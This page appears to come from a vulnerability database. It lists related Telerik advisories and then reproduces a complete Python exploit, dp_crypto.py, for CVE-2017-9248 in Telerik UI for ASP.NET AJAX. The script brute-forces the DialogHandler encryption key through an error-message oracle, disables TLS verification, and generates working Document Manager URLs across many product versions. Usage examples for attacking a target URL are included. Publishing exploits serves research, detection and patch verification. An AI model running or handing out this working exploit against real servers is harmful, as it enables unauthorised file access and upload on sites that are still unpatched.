| Reporter | Title | Published | Views | Family All 30 |
|---|---|---|---|---|
| Exploit for Inadequate Encryption Strength in Telerik Ui_For_Asp.Net_Ajax | 9 Jan 201813:53 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Telerik Ui_For_Asp.Net_Ajax | 29 May 202007:29 | – | githubexploit | |
| Iranian Advanced Persistent Threat Actors Threaten Election-Related Systems | 22 Oct 202012:00 | – | ics | |
| Threat Actors Exploit Progress Telerik Vulnerabilities in Multiple U.S. Government IIS Servers | 15 Jun 202312:00 | – | ics | |
| Hitachi ABB Power Grids eSOMS Telerik | 18 Mar 202100:00 | – | ics | |
| CVE-2017-9248 | 3 Jul 201700:00 | – | attackerkb | |
| CVE-2017-9248 | 21 Mar 201813:35 | – | circl | |
| Progress Telerik UI for ASP.NET AJAX and Sitefinity Cryptographic Weakness Vulnerability | 3 Nov 202100:00 | – | cisa_kev | |
| CISA, FBI, and MS-ISAC Update Joint CSA on Progress Telerik Vulnerabilities | 15 Jun 202312:00 | – | cisa | |
| Multiple Vulnerabilities in ASP.NET AJAX and Sitefinity Progress Telerik UI | 7 Jul 201700:00 | – | cnvd |
# Exploit Title: Telerik UI for ASP.NET AJAX DialogHandler Dialog cracker
# Filename: dp_crypto.py
# Github: https://github.com/bao7uo/dp_crypto
# Date: 2018-01-23
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Version: Telerik UI for ASP.NET AJAX
# CVE: CVE-2017-9248
# Vendor Advisory: https://www.telerik.com/support/kb/aspnet-ajax/details/cryptographic-weakness
# Tested on: Working on versions 2012.3.1308 thru 2017.1.118 (.NET 35, 40, 45)
#!/usr/bin/python3
# Author: Paul Taylor / Foregenix Ltd
# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
# dp_crypto - CVE-2017-9248 exploit
# Telerik.Web.UI.dll Cryptographic compromise
# Warning - no cert warnings,
# and verify = False in code below prevents verification
import sys
import base64
import requests
import re
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests_sent = 0
char_requests = 0
def get_result(plaintext, key, session, pad_chars):
global requests_sent, char_requests
url = sys.argv[2]
base_pad = (len(key) % 4)
base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
dp_encrypted = base64.b64encode(
(encrypt(plaintext, key) + base).encode()
).decode()
request = requests.Request('GET', url + '?dp=' + dp_encrypted)
request = request.prepare()
response = session.send(request, verify=False)
requests_sent += 1
char_requests += 1
match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
return True \
if match is not None \
and match.group(2) == "Index was outside the bounds of the array." \
else False
def test_keychar(keychar, found, session, pad_chars):
base64chars = [
"A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
"D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
"G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
"J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
"M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
"P", "f", "v", "/"
]
duff = False
accuracy_thoroughness_threshold = sys.argv[5]
for bc in range(int(accuracy_thoroughness_threshold)):
# ^^ max is len(base64chars)
sys.stdout.write("\b\b" + base64chars[bc] + "]")
sys.stdout.flush()
if not get_result(
base64chars[0] * len(found) + base64chars[bc],
found + keychar, session, pad_chars
):
duff = True
break
return False if duff else True
def encrypt(dpdata, key):
encrypted = []
k = 0
for i in range(len(dpdata)):
encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
k = 0 if k >= len(key) - 1 else k + 1
return ''.join(str(e) for e in encrypted)
def mode_decrypt():
ciphertext = base64.b64decode(sys.argv[2].encode()).decode()
key = sys.argv[3]
print(base64.b64decode(encrypt(ciphertext, key)).decode())
print("")
def mode_encrypt():
plaintext = sys.argv[2]
key = sys.argv[3]
plaintext = base64.b64encode(plaintext.encode()).decode()
print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
print("")
def test_keypos(key_charset, unprintable, found, session):
pad_chars = ''
for pad_char in range(256):
pad_chars += chr(pad_char)
for i in range(len(pad_chars)):
for k in range(len(key_charset)):
keychar = key_charset[k]
sys.stdout.write("\b"*6)
sys.stdout.write(
(
keychar
if unprintable is False
else '+'
) +
") [" + (
keychar
if unprintable is False
else '+'
) +
"]"
)
sys.stdout.flush()
if test_keychar(keychar, found, session, pad_chars[i] * 3):
return keychar
return False
def get_key(session):
global char_requests
found = ''
unprintable = False
key_length = sys.argv[3]
key_charset = sys.argv[4]
if key_charset == 'all':
unprintable = True
key_charset = ''
for i in range(256):
key_charset += chr(i)
else:
if key_charset == 'hex':
key_charset = '01234567890ABCDEF'
print("Attacking " + sys.argv[2])
print(
"to find key of length [" +
str(key_length) +
"] with accuracy threshold [" +
sys.argv[5] +
"]"
)
print(
"using key charset [" +
(
key_charset
if unprintable is False
else '- all ASCII -'
) +
"]\n"
)
for i in range(int(key_length)):
pos_str = (
str(i + 1)
if i > 8
else "0" + str(i + 1)
)
sys.stdout.write("Key position " + pos_str + ": (------")
sys.stdout.flush()
keychar = test_keypos(key_charset, unprintable, found, session)
if keychar is not False:
found = found + keychar
sys.stdout.write(
"\b"*7 + "{" +
(
keychar
if unprintable is False
else '0x' + binascii.hexlify(keychar.encode()).decode()
) +
"} found with " +
str(char_requests) +
" requests, total so far: " +
str(requests_sent) +
"\n"
)
sys.stdout.flush()
char_requests = 0
else:
sys.stdout.write("\b"*7 + "Not found, quitting\n")
sys.stdout.flush()
break
if keychar is not False:
print("Found key: " +
(
found
if unprintable is False
else "(hex) " + binascii.hexlify(found.encode()).decode()
)
)
print("Total web requests: " + str(requests_sent))
return found
def mode_brutekey():
session = requests.Session()
found = get_key(session)
if found == '':
return
else:
urls = {}
url_path = sys.argv[2]
params = (
'?DialogName=DocumentManager' +
'&renderMode=2' +
'&Skin=Default' +
'&Title=Document%20Manager' +
'&dpptn=' +
'&isRtl=false' +
'&dp='
)
versions = [
'2007.1423', '2007.1521', '2007.1626', '2007.2918',
'2007.21010', '2007.21107', '2007.31218', '2007.31314',
'2007.31425', '2008.1415', '2008.1515', '2008.1619',
'2008.2723', '2008.2826', '2008.21001', '2008.31105',
'2008.31125', '2008.31314', '2009.1311', '2009.1402',
'2009.1527', '2009.2701', '2009.2826', '2009.31103',
'2009.31208', '2009.31314', '2010.1309', '2010.1415',
'2010.1519', '2010.2713', '2010.2826', '2010.2929',
'2010.31109', '2010.31215', '2010.31317', '2011.1315',
'2011.1413', '2011.1519', '2011.2712', '2011.2915',
'2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
'2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
'2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
'2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
'2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
'2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
'2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
'2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
'2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
'2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
'2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
'2017.3.913'
]
plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
plaintext3 = ';AllowMultipleSelection,False,3,False'
for version in versions:
plaintext2_raw2 = version
plaintext2 = base64.b64encode(
(plaintext2_raw1 +
plaintext2_raw2 +
plaintext2_raw3
).encode()
).decode()
plaintext = plaintext1 + plaintext2 + plaintext3
plaintext = base64.b64encode(
plaintext.encode()
).decode()
ciphertext = base64.b64encode(
encrypt(
plaintext,
found
).encode()
).decode()
full_url = url_path + params + ciphertext
urls[version] = full_url
found_valid_version = False
for version in urls:
url = urls[version]
request = requests.Request('GET', url)
request = request.prepare()
response = session.send(request, verify=False)
if response.status_code == 500:
continue
else:
match = re.search(
"(Error Message:)(.+\n*.+)(</div>)",
response.text
)
if match is None:
print(version + ": " + url)
found_valid_version = True
break
if not found_valid_version:
print("No valid version found")
def mode_samples():
print("Samples for testing decryption and encryption functions:")
print("-d ciphertext key")
print("-e plaintext key")
print("")
print("Key:")
print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
print("")
print("Plaintext:")
print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
print("")
print("Ciphertext:")
print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
print("")
def mode_b64e():
print(base64.b64encode(sys.argv[2].encode()).decode())
print("")
def mode_b64d():
print(base64.b64decode(sys.argv[2].encode()).decode())
print("")
def mode_help():
print("Usage:")
print("")
print("Decrypt a ciphertext: -d ciphertext key")
print("Encrypt a plaintext: -e plaintext key")
print("Bruteforce key/generate URL: -k url key_length key_charset accuracy")
print("Encode parameter to base64: -b plain_parameter")
print("Decode base64 parameter: -p encoded_parameter")
print("")
print("To test all ascii characters set key_charset to: all, " +
"for upper case hex (e.g. machine key) set to hex.")
print("")
print("Maximum accuracy is out of 64 where 64 is the most accurate, " +
"accuracy of 9 will usually suffice for a hex, but 21 or more " +
"might be needed when testing all ascii characters.")
print("Increase the accuracy argument if no valid version is found.")
print("")
print("Examples to generate a valid file manager URL:")
print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 hex 9")
print("./dp_crypto.py -k http://a/Telerik.Web.UI.DialogHandler.aspx 48 all 21")
print("")
sys.stderr.write(
"\ndp_crypto by Paul Taylor / Foregenix Ltd\nCVE-2017-9248 - " +
"Telerik.Web.UI.dll Cryptographic compromise\n\n"
)
if len(sys.argv) < 2:
mode_help()
elif sys.argv[1] == "-d" and len(sys.argv) == 4:
mode_decrypt()
elif sys.argv[1] == "-e" and len(sys.argv) == 4:
mode_encrypt()
elif sys.argv[1] == "-k" and len(sys.argv) == 6:
mode_brutekey()
elif sys.argv[1] == "-s" and len(sys.argv) == 2:
mode_samples()
elif sys.argv[1] == "-b" and len(sys.argv) == 3:
mode_b64e()
elif sys.argv[1] == "-p" and len(sys.argv) == 3:
mode_b64d()
else:
mode_help()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation